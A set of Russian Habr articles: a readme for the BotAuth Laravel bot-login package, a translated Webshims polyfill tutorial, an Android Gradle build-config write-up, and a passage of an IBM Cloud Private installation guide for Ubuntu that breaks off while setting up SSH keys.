BotAuth — пакет, который позволяет реализовать вход при помощи бота Вконтакте, FaceBook, Telegram.
Основная задача BotAuth, упростить посетителям Веб сайтов/PWA вход через социальные сети.
Пока соц. сети не реализуют обратную связь нативных мобильных приложений с веб сайтом, разработчикам приходится отправлять пользователя в браузер, где снова нужно вводить логин и пароль.
Используя ботов, можно получить обратную связь (callback) из нативного приложения, тем самым не заставлять вводить логин и пароль соц. сети в браузере.
Demo — <https://laravel.zetrider.ru/botauth>
GitHub — <https://github.com/zetrider/BotAuth>
Ссылки вида:
```
https://vk.me/ https://t.me/ https://m.me/
```
откроют мобильное приложение для начала диалога с ботом. Посетителю не придется повторно вводить логин и пароль в браузере.
Вы можете подключить ботов:
* Вконтакте
* Telegram
* FaceBook
* Ваш собственный провайдер (пример ниже)
**Установка**1. composer require zetrider/botauth
2. Подключить пакет в config/app.php
Провайдер
```
ZetRider\BotAuth\BotAuthServiceProvider::class,
```
Фасад
```
'BotAuth' => ZetRider\BotAuth\Facades\BotAuth::class,
```
3. Скопировать конфиг. файл
```
php artisan vendor:publish --tag=botauth-config
```
при необходимости
```
php artisan vendor:publish --tag=botauth-views
```
```
php artisan vendor:publish --tag=botauth-migrations
```
4. Указать для нужных соц. сетей ссылку в config/botauth.php в параметре link.
5. Заполнить ENV файл ключами ботов
```
BOTAUTH_VKONTAKTE_API_SECRET
BOTAUTH_VKONTAKTE_API_TOKEN
BOTAUTH_VKONTAKTE_API_CONFIRM
BOTAUTH_TELEGRAM_API_TOKEN
BOTAUTH_TELEGRAM_PROXY
BOTAUTH_FACEBOOK_API_SECRET
BOTAUTH_FACEBOOK_API_TOKEN
BOTAUTH_FACEBOOK_API_CONFIRM
```
6. Запустить миграции
```
php artisan migrate
```
7. В Middleware VerifyCsrfToken добавить исключение адреса для callback, по умолчанию botauth/callback/\*'
```
protected $except = [
'botauth/callback/*' // Except callback Csrf middleware
];
```
8. Для вашей модели User добавьте трейт:
```
use ZetRider\BotAuth\Traits\BotAuthUserTrait;
```
который добавит отношение с логинами пользователя из соц. сетей
**Подключение ботов:**
**Вконтакте**1. Откройте настройки своего сообщества или создайте новое [vk.com/groups?w=groups\_create](https://vk.com/groups?w=groups_create)
2. В настройках сообщества откройте райздел «Настройки» — «Работа с API»
3. Создайте ключ доступа, выберите пункт «Разрешить приложению доступ к сообщениям сообщества», запишите ключ, его нужно указать в .env **BOTAUTH\_VKONTAKTE\_API\_TOKEN**
4. На той же странице выберите Callback API, выберите «Версия API» **5.95**, укажите в поле «Адрес» callback адрес вашего сайта, пример по умолчанию
```
https://DOMAIN/botauth/callback/vkontakte
```
5. Ниже укажите строку, которую должен вернуть сервер в .env **BOTAUTH\_VKONTAKTE\_API\_CONFIRM**
6. В поле «Секретный ключ» придумайте любой секретный ключ, укажите в .env **BOTAUTH\_VKONTAKTE\_API\_SECRET**
7. После заполнения всех ключей в .env нажмите кнопку «Подтверидть»
8. На этой же странице откройте вкладку «Типы событий», нужно выбрать «Входящие сообщения»
9. Откройте натсройки сообщества, пункт «Сообщения», включите «сообщения сообщества»
10. Откройте настройки сообщества, пункт «Сообщения» — «Настройки для бота», включите «Возможности ботов»
Бот готов к работе.
Пример прямой ссылки на диалог с ботом
```
https://vk.me/zetcode
```
**Telegram**1. Создайте своего бота через @BotFather
2. Запомните ключ, укажите в .env **BOTAUTH\_TELEGRAM\_API\_TOKEN**
3. Добавьте веб хук через
```
https://api.telegram.org/botYOUR_TOKEN/setWebhook?url=https://DOMAIN/botauth/callback/telegram
```
замените YOUR\_TOKEN на ваш токен, DOMAIN на ваш домен
4. При необходимости укажите прокси в .env **BOTAUTH\_TELEGRAM\_PROXY**, например socks5h://127.0.0.1:1080
Бот готов к работе.
Пример прямой ссылки на диалог с ботом
```
https://t.me/BotAuthBot
```
**Facebook**1. У вас должна быть создана страница, если ее нет, добавьте [www.facebook.com/pages/creation/?ref\_type=universal\_creation\_hub](https://www.facebook.com/pages/creation/?ref_type=universal_creation_hub)
2. Добвьте новое приложение [developers.facebook.com/apps](https://developers.facebook.com/apps/)
3. В настройках приложение выберите «Основное», скопируйте «Секрет приложения» в .env **BOTAUTH\_FACEBOOK\_API\_SECRET**
4. В настройках приложение нужно добавить продукт «Messenger»
5. В настройках продукта «Messenger» создайте токен доступа, укажите его в .env **BOTAUTH\_FACEBOOK\_API\_TOKEN**
6. В настройках продукта «Messenger» создайте веб хук, в URL обратного вызова укажите
```
https://DOMAIN/botauth/callback/facebook
```
замените DOMAIN на ваш домен
7. В поле «Подтвердите маркер» укажите произвольный текст, сохраните в .env **BOTAUTH\_FACEBOOK\_API\_CONFIRM**
8. В опциях «Поля подписки» выберите «messages»
9. Нажмите «Подтвердить»
10. После подтверждения сервера в настройках веб хуков выберите страницу, нажмите «Подписаться»
11. В окне «Проверка приложения Messenger» рядом с пунктом «pages\_messaging» нажмите «Добавить к заявке»
Бот уже готов к работе, но доступен только для администраторов.
После подтверждения приложения, он станет доступен для всех посетителей. Отправьте приложение на модерацию.
Пример прямой ссылки на диалог с ботом
```
https://m.me/zetridercode
```
**Важно:**
1. Сайт должен работать по https
2. Facebook бот возвращает PSID, который не соответствует публичному ID пользователя.
3. По умолчанию контроллер бота работает с моделью \App\User. Если у вас другой случай, просто создайте свой контроллер и модель на основе примеров из репозитория. [Модель](https://github.com/zetrider/BotAuth/blob/master/src/Models/BotAuth.php), [Контроллер](https://github.com/zetrider/BotAuth/blob/master/src/Http/Controllers/BotAuthController.php)
**Как добавить свой провайдер:**
Создайте свой класс, который наследует абстрактный класс
```
ZetRider\BotAuth\AbstractProvider
```
Пример [example/ExampleProvider.php](https://github.com/zetrider/BotAuth/blob/master/example/ExampleProvider.php)
Добавьте в сервис провайдер, например AppServiceProvider в методе boot
```
// Register example proider
BotAuth::extend('example', function() {
return new \Path\To\Your\Class\ExampleProvider();
});
```
Провайдер будет обрабатывать запросы в callback по адресу
```
https://.../botauth/callback/example
```
**События**
Событие при успешной обработке нового сообщения от бота
```
// Catch bot callback
\Event::listen(\ZetRider\BotAuth\Events\MessageNewEvent::class, function($event)
{
$provider = $event->provider; // ZetRider\BotAuth\AbstractProvider
$slug = $provider->getProviderSlug();
$data = $provider->getCallbackResponse();
$user = $provider->getUser();
$text = $provider->getText();
// You can send a message
// $provider->sendMessage(__('Back to web site'));
});
``` | https://habr.com/ru/post/455104/ | null | ru | null |
# Как использовать polyfill-библиотеку Webshims
Данная статья является переводом с дополнениями поста [css-tricks.com/how-to-use-the-webshims-polyfill](http://css-tricks.com/how-to-use-the-webshims-polyfill/)
В этой статье речь пойдет о HTML5 polyfill библиотеке под названием [Webshims](http://afarkas.github.com/webshim/demos/index.html) и о ее правильном использовании.
В веб-разработке polyfill'ами, называются скрипты, частично эмулирующие спецификации HTML5 или CSS3. В качестве polyfill'a может выступать практически что угодно — библиотека на JavaScript, которая добавляет поддержку CSS3 селекторов в старых версиях Internet Explorer (например, [Selectivizr](http://selectivizr.com/)), или высококлассное решение на базе технологии Flash для поддержки тегов ``и` в IE 6 (например, [html5media](https://github.com/etianen/html5media)).
**Прим. переводчика.** Сразу же может возникнуть вопрос: какой процент используемых браузеров на рынке еще не поддерживает HTML5? Нужно ли все это дело?
habracut
Дело в том, что нет такой галочки «поддерживается html5», а есть множество спецификаций, которые все еще дополняются и изменяются. Кроме того, в разных проектах процент браузеров IE6-8 может достигать больших значений, а в них и даже и "не пахнет" поддержкой html5 и ccs3. Поэтому всем тем, кому необходимо поддерживать большое количество браузеров и кто хочет использовать современные веб-технологии предлагается обратить внимание на данную библиотеку.
#### Введение в Webshims.
Библиотека Webshims является одним из наиболее полноценных polyfill'ом.Она основана на [jQuery](http://jquery.com/) и [Modernizr](http://www.modernizr.com/). Подключение только одного этого скрипта позволяет использовать много различных возможностей в рамках большого количества настольных браузеров.
Webshims "активирует" такие HTML5 функции, как семантические теги, canvas, интернет хранилища, геолокация, формы и мультимедиа. Во время прочтения этого списка первая мысль, которая может возникнуть — насколько велика эта библиотека? Вопрос с точки зрения загружаемого объема и скорости исполнения скрипта.
Трюк в том, что webshims автоматически определит, какие из функций браузер поддерживает сам и загрузит только то, что необходимо для эмуляции всех остальных. Таким образом, он не будет замедлять работу пользователей, которые уже используют современный браузер, такой, как Firefox или Chrome. Даже можно самим уменьшить количество функций для загрузки, если они не нужны .
#### Как использовать Webshims
Для использования библиотеки необходимо включить JQuery и Modernizr перед подключением webshims.
Теперь нужно инициализировать webshims и, при необходимости, указать, какие функции вы хотите использовать.
// Поддержка всей функциональности
$.webshims.polyfill();
// Поддержка только форм и canvas
$.webshims.polyfill('forms canvas');
И это все! Webshims будет автоматически обнаружит и "заменит" недостающие функции, в зависимости от браузера пользователя.
Полный список поддерживаемых функций:
* JSON-хранилища
* es5
* геолокация
* canvas
* формы
* расширения форм
* мультимедиа
* отслеживание
* детали
#### Пример
Рассмотрим работу с библиотекой на примере тега . Прежде всего, создадим заготовку страницы без webshims или любого другого polyfill'а.
Video native`
Современные браузеры отобразят это видео правильно, но Internet Explorer 6, 7 или 8 — нет.
Теперь мы добавим в пример библиотеку webshims. Заметьте, что это не нужно редактировать что-либо еще в коде.
```
Video including polyfill
$.webshims.polyfill('mediaelement');
```
Современные браузеры будут использовать встренную поддержку тега , но теперь эта функция также доступна в Internet Explorer 6 и выше. Вы можете [опробовать это демо](http://css-tricks.com/examples/WebshimVideo/polyfill.php).
#### Заключение
Как было показано в примере, webshims действительно очень легко использовать. Нет необходимости изменять существующий код и она никак не сказывается на производительности современных браузеров. Это позволяет каждому пользоваться всеми функциями, содержащимся на вашей странице. Документация и другие демо доступны на [странице webshims](http://afarkas.github.com/webshim/demos/).
P.S. от переводчика: термин polyfill, насколько я знаю, не имеет распространенного перевода на русский язык, поэтому, с вашего позволения, я его оставлю как есть. Если есть варианты переводы — сообщайте в комментариях, очень интересно их услышать! | https://habr.com/ru/post/159325/ | null | ru | null |
# Android Environments
### Предисловие
Из далекого 2012, на просторах Хабра мне запомнился коммент:
> [… если нет корпуса с самого начала, то устройство так и останется
>
> недоделанным, ляжет пылиться на полке...](https://habr.com/ru/post/140426/#comment_16585645)
Топик далеко не про хардварную составляющую. Разбирая свою проблему, я убедился в верности сия суждения и постарался навести порядок на своей пыльной полке.
Недавно ко мне обратился заказчик, который попросил добавить в его проект поддержку нескольких сервисов. Задача заключалась в том, что мне нужно было подключить сервис "А" и перед выкладкой приложения в продакшн, обкатать этот сервис на тестовом окружении. Я решил проанализировать свои предыдущие решения и… ужаснулся.
Для различного типа сборок я использовал различные конфигурационные файлы с описанием переменных окружения. Но проблема заключалась в том, что только лишь для проброса значения в реальный код, на каждый тип приходилось писать один и тот же код.
### Проблема
Google дает нам возможность пробрасывать кастомные значения для каждой
[сборки](https://developer.android.com/studio/build/gradle-tips).
```
android {
//...
buildTypes {
release {
buildConfigField("String", "HOST_URL", "\"prod.com\"")
}
debug {
buildConfigField("String", "HOST_URL", "\"debug.com\"")
}
}
}
```
После анализа **build.gradle** скрипта, android tools заберет все значения **buildConfigFileds** из **buildTypes** и **productFlavors** и сгенерирует **BuildConfig** файлы для каждого типа сборок:
```
public final class BuildConfig {
//...
// Fields from build type: release
public static final String HOST_URL = "prod.com";
}
```
Никакой проблемы, на первый взгляд. Особенно, когда в вашем приложении не столь много флейворов и кастомных значений. В моем проекте их было >20 и 3 окружения (internal/alpha/production). Очевидно, что проблема для меня была одна - избавиться от бойлерплейта.
Не менее важная проблема - значения перменных окружения не должны быть отражены в вашем проекте. Даже в конфигурационном файле. Вы обязаны затрекать через VCS ваш **build.gradle** конфиг. Но вы не должны прописывать ваши ключи напрямую, для этого, вам необходим сторонний механизм(например файл, сервисы вашего CI). В моей практике было несколько проектов, где для release production сборки у меня не было доступа к значениям некоторых библиотек. Это уже проблема бизнеса и в его интересах не делать лишних затрат. Вы не должны использовать ключи предназначенные для продакшена во время отладки или внутреннего тестирования.
### Способ решения проблемы
В одном из старых проектов, для хранения значений переменных окружения, мы использовали простые **.properties** файлы, которые предоставляли доступ к полям через классический key:value map. Проблему биндинга данный подход не решает. Но он решает проблему поставки данных, который следует применить. Кроме того, мы можем взять за основу **.properties** файлы как определенного рода контракт предоставления данных.
Если вернуться чуть назад, у нас есть промежуточный этап: из **buildConfigField** в поле класса **BuildConfig**. Но кто же это делает? Все довольно банально, за это отвечает gradle plugin который вы подключаете абсолютно во всех проектах Android.
```
apply plugin: "com.android.application"
```
Именно он отвечает за то, что после анализа вашего **build.gradle** файла будет сгенерирован класс **BuildConfig** для каждого флейвора со своим набором полей. Таким образом, я могу написать свое лекраство, которое расширит возможности **com.android.application** и избавит
меня от этой головной боли.
Решение проблемы выглядит следующим образом: предоставить контракт,
в котором будут описаны все ключи и значения для всех сборок.
Разложить конфигурационные файлы на подтипы. Отдать все плагину.
### Решение
Выше мы разобрались со структурой решения, осталось дело за малым — воплотить все это в жизнь. Казалось бы, тривиальное решение и проблему можно решить простым расширением билд файла. Изначально, я так и поступил.
**Раскрыть решение**
```
```groovy
class Constants {
// Environments properties path pattern, store your config files in each folders of pattern
static final CONFIG_PROPERTY_PATTERN = "config/%s/config.properties"
}
android.buildTypes.all { buildType ->
buildConfigFields(buildType, buildType.name)
}
android.applicationVariants.all { appVariant ->
buildConfigFields(appVariant, appVariant.flavorName)
}
private def buildConfigFields(Object variant, String variantName) {
def properties = getProperties(variantName)
properties.each { key, value ->
variant.buildConfigField(
parseValueType(value),
toConfigKey(key),
value
)
}
}
// Convert config property key to java constant style
private def toConfigKey(String key) {
return key.replaceAll("(\\.)|(-)", "_")
.toUpperCase()
}
// Parse configuration value type
private def parseValueType(String value) {
if (value == null) {
throw new NullPointerException("Missing configuration value")
}
if (value =~ "[0-9]*L" ) {
return "Long"
}
if (value.isInteger()) {
return "Integer"
}
if (value.isFloat()) {
return "Float"
}
if ("true" == value.toLowerCase() || "false" == value.toLowerCase()) {
return "Boolean"
}
return "String"
}
private def getProperties(String variantName) {
def propertiesPath = String.format(
Constants.CONFIG_PROPERTY_PATTERN,
variantName
)
def propertiesFile = rootProject.file(propertiesPath)
def properties = new Properties()
// Do nothing, when configuration file doesn't exists
if (propertiesFile.exists()) {
properties.load(new FileInputStream(propertiesFile))
}
return properties
}
```
```
А вот тут сразу же возникли те трудности, о которых я и не задумывался — пыльная полка.Я решил "продать" свое реше коллегам. Я подготовил доку, пнул дело на обсуждение и… Понял, что все мы люди, а программисты — это ленивые люди. Никому не хочется вставлять неизвестный ему участок кода в проект, его же по хорошему нужно изучить, прочитать? А вдруг он нерабочий? А вдруг он делает еще что-то не так? Это же груви, а я его не знаю и непонятно как с ним работать. А уже давно переехал на котлин скрипт, а портировать с груви я не умею и проч.
Самое интересное, что все эти суждения уже исходили от меня, т.к. я понял, что меня такая интеграция решения не устраивает. Плюс, я заметил несколько моментов, которые мне бы очень хотелось бы улучшить. Внедрив решение в проект А, мне бы хотелось бы его поддержать в проекте Б. Выход один — надо писать плагин.
А какие же проблемы решит плагин и его удаленная поставка пользователю?
* проблему ленивого програмиста. Нам лень углубляться в корень проблемы и возможные способы его решения. Нам куда проще взять что-то, что былоуже сделано до тебя и использовать это.
* поддержка. Она включает в себя поддержку кода, его развитие и расшириения возможностей. При решении своей проблемы, я решал только проброспеременных окружения только лишь в код, совсем позабыв о возможности проброса в ресурсы.
* качество кода. Бытует такое мнение, что некоторые разработчики даже не смотрят на open source код, который не покрыт тестами. На дворе 2019 и мы с легкостью можем подключить себе сервисы для отслеживания качества кода <https://sonarcloud.io> либо <https://codecov.io/>
* конфигурация. Расширение билд файла заставляет меня изучить этот код и внести изменения вручную. В моем случае — мне не всегда нужно использовать конфигурацию для **buildTypes** либо **productFlavors**, хочу что-то одно или все сразу.
* уборка пыльной полки. Я наконец-то навел порядок на одной из них и смог это решение по-дальше своей комнатушки.
В подробности и проблемы при написании плагина я вдаваться не буду, тянет на новый топик. Взять решение с его интеграцией, предложить свою идею либо внести свой вклад можно
[здесь](https://github.com/IlyaPavlovskii/Android-Environments). | https://habr.com/ru/post/462751/ | null | ru | null |
# Приватное облако для Интернета Вещей
Приветствую, Хабр!
Мы, команда ИТ архитекторов из IBM, которая занимается созданием и продвижением на рынок индустриальных решений для разных отраслей. В свободное от основной работы время исследуем новые технологии, экспериментируем и пробуем на деле лучшие практики.
Последние годы большой популярностью пользуется тематика Интернета Вещей. Наши клиенты спрашивают об универсальных коробочных решениях и платформах, которые могут располагаться локально в их Центрах Обработки Данных. Самое главное, ожидается, что на базе таких «коробочек», все новые сервисы и приложения должны разрабатываться и запускаться очень быстро, а точнее моментально или «еще вчера».
Мы задались вопросом: «А что если собрать нечто подобное на открытых и общедоступных технологиях?»
Про использование контейнеров [Docker](https://habr.com/post/353238/) и средства управления ими на базе [Kubernetes](https://habr.com/post/258443/) было уже немало рассказано и показано. Однако пока не удалось увидеть каким образом все эти передовые технологии могут быть использованы в промышленных масштабах для бизнес-задач, конкретно под Интернет Вещей. Так давайте же восполним этот пробел. Концепцию микросервисов, а также модные подходы разработки (DevOps), интеграции и развертывания приложений (CI/CD) будем считать немного другой задачей и отложим на потом.
В этой статье мы хотим рассказать про подготовку и установку одного из ключевых компонентов — IBM Cloud Private (по сути, промышленную сборку Docker/Kubernetes и еще чуть-чуть), который может выступить в качестве условного инфраструктурного ядра при создании локальной платформы Интернета Вещей. Спросите, почему именно он?
Потому что мы обещали открытые и общедоступные технологии (бесплатная версия для сообщества и поддержка от сообщества): [hub.docker.com/r/ibmcom/icp-inception](https://hub.docker.com/r/ibmcom/icp-inception/)
Обзор IBM Cloud Private
-----------------------
IBM Cloud Private (ICP) – это приватная облачная платформа для локального развертывания и эксплуатации. ICP представляет собой интегрированную среду, которая позволяет проектировать, разрабатывать, развертывать и управлять локальными приложениями, созданными с учетом контейнерной архитектуры. Поставка ICP включает в себя оркестратор на базе Kubernetes (K8s), локальное хранилище образов, а также консоль управления и вспомогательный инструментарий для мониторинга.
### Что такое приватное или частное облако?
Приватное облако — это модель облачных вычислений, запускаемая исключительно для одной организации, как правило на ее территории и ресурсах. Такое облако может управляться и обслуживаться как собственными специалистами, так и сотрудниками третьих сторон. Размещаться подобная платформа может как за брандмауэром компании, так и вне его. Частное облако предоставляет преимущества общедоступного облака, в том числе быстрое развертывание и масштабируемость, а также простоту использования, управления и гибкости. При этом локальная версия обеспечивает больший контроль над системой, повышение производительности, точно предсказуемые затраты, повышенные требования к безопасности и гибкие возможности управления в зависимости от нужд организации. Частное облако позволяет настраивать его непосредственно под конкретные бизнес-задачи и требования безопасности клиента.
Прежде чем приступать к установке ICP, определимся с терминологией:
**Главный узел (master node)**
* Контролирует и управляет кластером K8s.
* kubectl: инструментарий командной строки для управления кластером.
* REST API: интерфейс взаимодействия с рабочими узлами.
* etcd: является постоянным и доступным хранилищем ключей, используется в качестве хранилища резервных копий K8s для всех данных кластера.
* kube-scheduler: этот компонент наблюдает за недавно созданными контейнерами (pods), которые не имеют назначенного узла, и выбирает узел для их запуска.
* Обычно для стабильной работы и обеспечения отказоустойчивости требуется 3 и более главных узлов. В нашем случае, для экономии ресурсов мы установим все необходимые компоненты ICP на один выделенный сервер (Single Node).
**Рабочий узел (worker node)**
* Рабочая машина в K8s ранее известная как Миньон (Minion). Этот узел может быть любым из хостов, который получает задания от главного узла, а также контролирует процесс запуска контейнеров на нем. В зависимости от настроек кластера, рабочий узел может быть как виртуальной машиной, так и физическим сервером.
* На каждом узле могут быть запущены следующие компоненты:
* kubelet: является основным сервисом рабочего узла. Он следит за контейнерами, которые были назначены его узлу (либо apirusver для безопасного соединения, либо через локальный файл конфигурации).
* kube-proxy: отображает сервисы, определенные в API K8s на каждом узле, поддерживая сетевые правила на хосте и выполняя переадресацию соединений.
* docker: среда запуска и управления контейнерами.
* supervisord: Это легковесный процесс мониторинга и система управления, которые можно использовать для поддержания работы kubelet и docker.
* fluentd: Это сервис, который помогает обеспечить протоколирование на уровне кластера.
**Контейнеры (containers)**
* Приложение запущенное в изолированной среде.
* Совокупность исполняемых процессов и запускаемый образ программы.
**Коконы (pods)**
* Pod представляет собой группу из одного или нескольких контейнеров Docker, с общим хранилищем / сетью и спецификацией того, как запускать контейнеры на рабочем узле.
* Каждый Pod имеет свой собственный IP.
* Pod разделяет пространство имен PID, сеть и имя хоста.
**Контроллер репликации (replication controller)**
* Обеспечивает доступность и масштабируемость.
* Отвечает за контроль количества развернутых Pod-ов.
* Использует шаблон, описывающий что должен содержать каждый Pod.
**Метки (labels)**
* Метаданные, назначенные ресурсам K8s, например: контейнеры, сервисы.
* Пары «ключ-значение», прикрепленные к объектам для идентификации.
* Эти параметры критичны, так как основываются на запросе кластера к ресурсам с определенными метками.
**Сервисы (services)**
* Коллекция контейнеров, выставленных в качестве конечной точки (endpoint).
* Информация о состоянии кластера K8s и настроек сети, которая распространяется на все рабочие узлы.
* При правильной конфигурации Pod-ы созданные контроллером репликации будут автоматически зарегистрированы как соответствующий сервис.
**Секретная информация (secrets)**
* Конфиденциальные сведения, которые должны быть прочитаны или использоваться контейнерами.
* Специальные разделы (volumes) дискового накопителя монтируются автоматически чтобы контейнеры могли прочитать содержимое.
* Каждая запись имеет свой собственный путь.
### Архитектура
Ниже представлена высокоуровневая архитектура ICP на которой перечислены основные компоненты с разбивкой на главный, рабочие и прокси узлы. Стоит отметить, что в этой статье основной упор сделан на связке контейнеров Docker и среды управления Kubernetes. Эти компоненты с открытым исходным кодом являются ключевыми и фундаментальными для платформы ICP. Тем не менее для полноценной работы с ICP также потребуется знание Helm — менеджера управления программными пакетами. K8s используется для развертывания и размещения экземпляров приложений, которые встроены в схемы Helm, они в свою очередь ссылаются на Docker-образы. В схемах Helm содержится информация о деталях вашего приложения, а Docker-образы содержат все программные пакеты, которые необходимы для запуска вашего приложения.
[](https://habrastorage.org/webt/ch/hd/is/chhdisgv9bo9fu4bfdow2g1ydmu.png)
Для детального ознакомления с архитектурой и компонентами платформы ICP можно воспользоваться ссылкой на документацию в [IBM Knowledge Center](https://www.ibm.com/support/knowledgecenter/SSBS6K_2.1.0.3/getting_started/architecture.html).
Подготовка
----------
Для того, чтобы комфортно выполнить установку ICP за 20-30 минут, необходимы следующие минимальные аппаратные ресурсы и доступ в Интернет:
• Один хост (физический или виртуальный)
• CPU = 8 ядер (или виртуальных ядер)
• ОЗУ = 10 Гб (фактически может потребоваться до 14Гб)
• Диск = 40 Гб (на SSD как всегда быстрее)
> ***Примечание:** если у вас есть чуть больше свободного времени и чуть меньше аппаратных ресурсов, то где-то за 40-60 минут можно установить ICP на 1 виртуальном ядре core i5 и 10 Гб ОЗУ.*
Установка
---------
### Загрузка Ubuntu
Скачайте дистрибутив [Ubuntu Server версии 16.04.05](http://mirror.corbina.net/ubuntu-cd/16.04.5/ubuntu-16.04.5-server-amd64.iso). Выполните стандартную установку ОС на виртуальную или физическую машину с указанными выше характеристиками.
### Получение IP адреса
После завершения процесса установки ОС в командной строке узнайте IP адрес своей виртуальной машины с помощью такой команды:
```
ifconfig
```
Вам необходимо записать/запомнить Ethernet IP адрес (inet addr), а также Bcast и Mask. Эти параметры отобразятся после выполнения соответствующей команды:
[](https://habrastorage.org/webt/ao/tp/gh/aotpghosoq-nglwcwwm-1fmn_pk.png)
*Рисунок 1. Пример выполнения команды «ifconfig»*
### Подключение по SSH
В случае, если при настройке виртуальной машины вы использовали функцию «Easy Install», то после полной установки Ubuntu Server вам необходимо доустановить OpenSSH server. Сделать это можно следующими командами:
```
apt install openssh-server
sudo systemctl enable sshd
```
После выполнения соответствующих команд у вас появится возможность подключиться к виртуальной машине с помощью SSH. В зависимости от ОС вы можете использовать разные способы подключения. Для Windows можно воспользоваться популярным инструментом [PuTTY](https://www.putty.org/), для MacOS можно использовать команду ssh в терминале.
[](https://habrastorage.org/webt/2w/v8/st/2wv8st2har9fplst87-ouu2xn3a.png)
*Рисунок 2. Пример подключения через PuTTY для Windows*
На следующем этапе необходимо установить пароль для супер-пользователя (root):
```
sudo -i
passwd
```
[](https://habrastorage.org/webt/tk/p5/l_/tkp5l_dnzxuaf5-bdlf5j2nllis.png)
*Рисунок 3. Установка нового пароля для пользователя root*
### Обновление сетевого интерфейса
После того как мы настроили возможность подключения через SSH и обновили пароль супер-пользователя, для определения статичных сетевых параметров нам необходимо настроить сетевой интерфейс. Выполняется это следующей командой:
```
nano /etc/network/interfaces
```
Обновляем настройки сетевого интерфейса (primary network interface) на базе информации полученной при выполнении команды ifconfig, наш пример выглядит так:
```
auto ens33
iface ens33 inet static
address 192.168.175.7
netmask 255.255.255.0
network 192.168.175.0
broadcast 192.168.175.255
gateway 192.168.175.2
dns-nameservers 192.168.175.2 8.8.8.8
```
> ***Примечание:** важно правильно указать DNS-сервер, так как доступ в Интернет необходим для последующей установки компонентов ICP.*
[](https://habrastorage.org/webt/u3/cb/v7/u3cbv77no49a5vnxx5jfvb-rena.png)
*Рисунок 4. Настройка сетевого интерфейса*
Сохраните обновленный файл при помощи следующих действий: Ctrl + X, Yes, Enter.
Для упрощения входа на виртуальную машину с правами супер-пользователя (root), необходимо внести изменения в конфигурацию SSH сервиса. Для этого необходимо выполнить такую команду:
```
nano /etc/ssh/sshd_config
```
Далее найти строку разрешения доступа и отредактировать ее соответствующим образом:
```
PermitRootLogin yes
```
[](https://habrastorage.org/webt/4h/mg/9c/4hmg9clbw62w0fb_v7enmmptweo.png)
*Рисунок 5. Обновление конфигурации SSH*
Сохраните файл как в предыдущем шаге: Ctrl + X, Yes, Enter.
После внесения всех изменений, для применения новых параметров имеет смысл полностью перезапустить виртуальную машину или перезапустить соответствующие сервисы (networking и ssh), например такими командами:
```
shutdown -r 0
```
или
```
service restart
```
После перезапуска машины необходимо снова выполнить вход в систему через SSH.
### Обновление компонентов
Обновите Ubuntu Server с помощью следующей команды (команда должна выполняться под root правами):
```
apt update
```
Примечание: если в ходе обновления возникает ошибка: «The repository 'cdrom://Ubuntu-Server 16.04.5 LTS \_Xenial Xerus\_ — Release amd64 (20180731) xenial Release' does not have a Release file.». Необходимо выполнить следующую команду:
```
sudo nano /etc/apt/sources.list
```
И закомментировать строку:
```
deb cdrom:[Ubuntu-Server 16.04.5 LTS …
```
[](https://habrastorage.org/webt/x4/l8/0w/x4l80wwrr4ovzqd0a_wj3jqy8ki.png)
*Рисунок 6. Исправление возможной ошибки*
Далее сохраняем файл, как это делали ранее: Ctrl + X, Yes, Enter
После исправления возможной ошибки, выполните повторно команду обновления и в результате вы должны будете увидеть что-то вроде такого:
[](https://habrastorage.org/webt/iu/i7/7_/iui77_byceas5t0cujkv-1p9ltu.png)
*Рисунок 7. Обновление Ubuntu*
Установка IBM Cloud Private
---------------------------
Прежде чем выполнить установку ICP, вам необходимо отредактировать hosts файл:
```
nano /etc/hosts
```
Замените строку 127.0.1.1 ubuntu на ваш IP адрес и любое подходящее название хоста.
Убедитесь, что название хоста и псевдонима в строке отделены табуляцией или пробелом:
[](https://habrastorage.org/webt/ht/jk/ks/htjkkshqzdczphtd999qhxb_unu.png)
*Рисунок 8. Изменение hosts файла*
Сохраните файл: Ctrl + X, Yes, Enter
Следующие 2 команды позволят вам обновить систему и установить дополнительные модули.
```
apt update
apt-get install apt-transport-https ca-certificates curl software-properties-common python-minimal jq
```
Проследите за выводом терминала на наличие ошибок:
[](https://habrastorage.org/webt/so/ve/fi/sovefisrk9vxuzgcxusddtzir6e.png)
*Рисунок 9. Установка дополнительных компонентов*
Увеличьте максимальную виртуальную память командой:
```
sysctl -w vm.max_map_count=262144
```
K8s не запустится с включенным swap. Отключить его можно командой:
```
swapoff –a
```
> ***Примечание:** две предыдущие команды будут работать в текущем сеансе. При перезагрузке эти параметры будут утеряны и необходимо прописать их заново.*
Применение этих параметров при загрузке ОС можно включить такими командами:
```
sed -i '/ swap / s/^/#/' /etc/fstab
echo "vm.max_map_count=262144" >> /etc/sysctl.conf
```
### Добавление GPG ключа
Воспользуемся следующей командой:
```
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -
```
### Добавление репозитория для установки Docker
Для выполнения установки репозитория необходимо выполнить следующие 2 команды:
```
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
apt-get update
```
### Установка Docker
Воспользуйтесь следующей командой для установки Docker (версия Docker 17.12.1 максимальная поддерживаемая версия для IBM Cloud Private 2.1.0.3):
```
apt-get install docker-ce=17.12.1~ce-0~ubuntu
```
[](https://habrastorage.org/webt/so/ve/fi/sovefisrk9vxuzgcxusddtzir6e.png)
*Рисунок 10. Процесс установки Docker*
Проверить работоспособность Docker можно следующей командой:
```
docker version
```
[](https://habrastorage.org/webt/w3/8y/si/w38ysiwd6porpbipaez4_nghy9i.png)
*Рисунок 11. Проверка Docker*
### Загрузка IBM Cloud Private
Для загрузки образа ICP-ce (Сommunity Edition) с ресурса dockerHub необходимо использовать инструментарий Docker. Выполнить это можно следующей командой:
```
docker pull ibmcom/icp-inception:2.1.0.3
```
[](https://habrastorage.org/webt/vq/k4/m3/vqk4m3d4o-sclprferxvwcjprte.png)
*Рисунок 12. Загрузка ICP*
IBM упаковала все основные компоненты, необходимые для установки, в один пакет (обратите внимание, что при необходимости можно изменить версию на более новую). Команда pull загрузит образ в локальную файловую систему (образ будет запущен для установки ICP).
Создайте каталог и перейдите в него:
```
mkdir /opt/icp
cd /opt/icp
```
Скопируйте пакет ICP в этот каталог:
```
docker run -e LICENSE=accept -v "$(pwd)":/data ibmcom/icp-inception:2.1.0.3 cp -r cluster /data
```
> ***Примечание:** эта команда инструментария Docker выполняет Linux команду copy (cp) из заданного каталога (параметр -v). Создастся каталог кластера в /opt/icp со всеми необходимыми файлами.*
### Настройка SSH ключей
Создаем новые ssh ключи в каталоге /opt/icp/cluster:
```
